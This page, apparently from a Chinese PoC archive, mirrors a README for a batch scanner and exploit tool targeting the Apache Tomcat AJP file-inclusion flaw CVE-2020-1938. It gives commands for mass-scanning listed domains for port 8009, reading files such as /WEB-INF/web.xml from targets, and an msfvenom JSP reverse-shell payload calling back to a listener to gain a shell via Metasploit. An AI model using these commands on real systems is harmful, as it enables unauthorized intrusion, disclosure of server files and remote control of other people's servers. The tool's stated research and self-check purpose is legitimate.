目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2020-1938 PoC — Apache Tomcat 安全漏洞

来源
关联漏洞
标题: Apache Tomcat 安全漏洞 (CVE-2020-1938)
Description:Apache Tomcat是美国阿帕奇(Apache)基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat 7.0.100版本之前的7.*版本、8.5.51版本之前的8.*版本和9.0.31版本之前的9.*版本中的Tomcat AJP协议存在安全漏洞。攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件,如 webapp 配置文件或源代码等。
Description
CVE-2020-1938 / CNVD-2020-1048 Detection Tools
介绍
# 说明
**工具仅用于安全研究以及内部自查, 禁止使用工具发起非法攻击, 造成的后果由使用者负责**

Apache Tomcat文件包含漏洞(CVE-2020-1938 / CNVD-2020-1048 )批量检测工具. 

此项目在[Kit4y的项目](https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner)的基础上进行修改. 

# 代码修改
当ip.txt中只有1个域名或ip时, 会使得threadCount为1, 程序实际上没有运行, 增加判断线程数的代码
<pre>
...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...
</pre>

</pre>
修改少量代码, 以兼容Python3. 修改前的代码
<pre>
self.stream = self.socket.makefile("rb", bufsize=0)
</pre>
<pre>
print("".join([d.data for d in data]))
</pre>
修改后的代码
<pre>
if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
</pre>
<pre>
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))
</pre>


# 使用
## 批量检测
**1、将需要扫描的域名/ip放于 ip.txt, 如**
> 127.0.0.1  
> www.baidu.com  
> www.google.com  

**2、python threading-find-port-8009.py**

扫描ip.txt中域名/ip找出开放8009端口的, 存放于生成的8009.txt中 

**3、python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py**

从8009.txt中筛选出符合漏洞的url, 放置于vul.txt中. 最后vul.txt中存在的域名即为含有漏洞的域名

## 单站点检测
python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128  
> 
> python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

## 跨目录和反弹shell
默认读取webapps下的ROOT,修改“/asdf”为“/test/asdf”可以访问webapps下test目录的内容
<pre>
t.perform_request('/asdf',attributes=[
</pre>

若服务器同时存在文件上传漏洞,上传下面的shell.txt
<pre>
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt
</pre>  
修改“/asdf”为“/asdf.jsp”,启动MSF后使用PoC工具可以取得shell


# 其他相关工具
https://github.com/0nise/CVE-2020-1938  
https://github.com/hypn0s/AJPy  
https://github.com/00theway/Ghostcat-CNVD-2020-10487
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →